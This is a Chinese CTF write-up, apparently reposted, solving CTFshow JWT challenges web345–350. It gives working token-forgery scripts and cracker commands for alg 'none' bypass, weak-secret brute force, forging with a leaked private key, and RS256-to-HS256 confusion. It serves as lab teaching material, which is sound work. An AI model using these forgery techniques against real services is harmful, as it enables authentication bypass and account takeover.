CTFshow刷题日记-WEB-JWT(web345-350)
Posted Ocean:)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-JWT(web345-350)相关的知识,希望对你有一定的参考价值。
JWT
JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔
Header
Payload
Signature
header示例
{
'typ': 'JWT',
'alg': 'HS256'
}
# typ:声明类型
# alg:声明加密的算法 通常直接使用 HMAC SHA256
需要注意的是因为header部分是固定的所以,生成的base64也是固定的以eyJh开头的
payload示例
{
"sub": "1234567890",
"name": "John Doe"
}
标准中注册的声明 (建议但不强制使用)
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
signature
是一个签证信息,这个签证信息由三部分组成
- header (base64后的)
- payload (base64后的)
- secret
注意:secret是保存在服务器端的,JWT的签发生成也是在服务器端的,secret就是用来进行JWT的签发和JWT的验证
更多信息:链接
web345-简单改值
F12 看源码提示 /admin 页面
要注意使用 url 访问网页时
/admin 表示访问 admin.php 文件
/admin/ 表示访问 admin/目录下的文件,默认是 index.php
很像文件夹,所以此处应该访问 /admin/
在浏览器 application 中可以看到 cookie,https://jwt.io/ 解密,如果离线比赛没有网,可以直接按 . 点号分块 base64 解密
既然没有加密修改 sub(jwt所面向的用户)为 admin,再 base64 加密
将 cookie 复制到 value 中
web346-修改算法为none
签名算法保证了JWT在传输的过程中不被恶意用户修改
但是header中的alg字段可被修改为none
一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验
将alg修改为none后,去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’)然后提交到服务端即可
将 Header 中的加密算法改为 none
import base64
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1632212749,"exp":1632219949,"nbf":1632212749,"sub":"admin",' \\
'"jti":"bcad514174d6cf1010c3320a61b59d62"} '
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')
将生成的 payload 复制到 cookie 中,访问 /admin/
web347-弱口令爆破
提示:弱口令
去 jwt.io 解密,hs256 加密,而且改为 none 不可以
弱口令最简单的方法就是猜,不好猜的话效率很低,可以上爆破
使用工具 jwt-cracker
root@kali:~/桌面/c-jwt-cracker-master# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjI4NjE3MywiZXhwIjoxNjMyMjkzMzczLCJuYmYiOjE2MzIyODYxNzMsInN1YiI6InVzZXIiLCJqdGkiOiJlY2NhNmIwODU1ZmQ4ZjU1ZTQ5NmFjZTUxOTliMjg0NiJ9.OwRR768OZk4gvd9zOjsagp0C2aZwrLHMpk2PR8CpKjI
爆破的话要有一段时间,密码是 123456
将密码填写并修改 sub 的值,左边会自动生成 jwt 字符串,复制粘贴到浏览器 cookie 中,访问 /admin/
jwt 字符串生成可以使用脚本
# python2
import jwt
payload = {
"iss": "admin",
"iat": 1610777706,
"exp": 1610784906,
"nbf": 1610777706,
"sub": "admin",
"jti": "a4b369d0b43dd96bcf980881e3f0d5ea"
}
secret = '123456'
print(jwt.encode(payload, secret, algorithm='HS256'))
web348-工具爆破secret
提示:爆破
上题的加强版,上工具 jwt-cracker 爆破就完了,这次直接秒出 secret
root@kali:~/桌面/c-jwt-cracker-master# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjI4Njk4MywiZXhwIjoxNjMyMjk0MTgzLCJuYmYiOjE2MzIyODY5ODMsInN1YiI6InVzZXIiLCJqdGkiOiJhZDljMjEzOWVkNjgwYzUxYmQ2MWQ3YWFlMmVmNDg4ZCJ9.ksxetPa5ZjFXerEkoyhtig1gczu0PDY2QOOyGl_OxFM
Secret is "aaab"
生成 jwt 字符串,访问 /admin/ 得到 flag
web349-公私钥解密
有一个 js 文件
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
同一路由,get 访问设置 cookie,post 访问检验 cookie,user == admin 得到 flag
jwt.io 去解密 jwt 因为采用的加密算法 RS256 为非对称加密,需要 public key 和 private key,利用私钥生成 jwt ,利用公钥解密 jwt
js 文件中也是读取了 private.key(私钥)文件才生成的 jwt,使用使用 dirsearch 扫目录找私钥文件,果不其然就在当前目录发现 private.key
既然是私钥生成 jwt ,公钥解密 jwt,只要有私钥然后自己重新生成即可
访问 private.key,下载文件
三种方法生成伪造的 jwt 字符串
-
访问 public.key 和 private.key 在 jwt.io 生成新的字符串
-
已知私钥然后自己重新生成 jwt 字符串(我这边报错为解决。。)
# python2 import jwt public = open('private.key', 'r').read() payload={"user":"admin"} print(jwt.encode(payload, key=public, algorithm='RS256'))
-
和方法2一样,nodejs 实现,运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save,有报错看这篇链接)
const jwt = require('jsonwebtoken'); var fs = require('fs'); var privateKey = fs.readFileSync('private.key'); var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' }); console.log(token)
post 访问页面得到 flag
web350-将 RS256 算法改为 HS256
有源码包,源码中 public 目录下存在 public.key 文件
将 RS256 算法改为 HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥为所有消息进行签名和验证
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证
访问页面拿到 cookie,是 hs256 加密
js 代码
// yu22x师傅
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
运行得到 payload
node jwt.js
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2MzIzMDE1MTB9.KgkWpURzcUQfETJXh2h5UdDtiQmX3Gbg50vp-B4gs6w
替换原来的 cookie:auth post 访问得到 flag
防御方法:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法
补充:破解HS256(对称加密算法)密钥
如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥,例如将密钥字符串用作PyJWT库示例代码中的密钥的时候情况就是如此。
然后,用蛮力方式对密钥进行猜解,具体方法很简单:如果密钥正确的话,解密就会成功;如果密钥错误的话,解密代码就会抛出异常。
此外,我们也可以使用PyJWT或John Ripper进行破解测试。
附录:相关工具
PyJWT库具体地址为:https://github.com/jpadilla/pyjwt。
>>> import jwt >>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg' >>> jwt.decode(encoded, 'secret', algorithms=['HS256']) {'some': 'payload'}
参考链接
https://www.cnblogs.com/dliv3/p/7450057.html
以上是关于CTFshow刷题日记-WEB-JWT(web345-350)的主要内容,如果未能解决你的问题,请参考以下文章
CTFshow刷题日记-WEB-PHP特性(下篇123-150)
CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入SSRF打MySQLSSRF打FastCGISSRF文件读取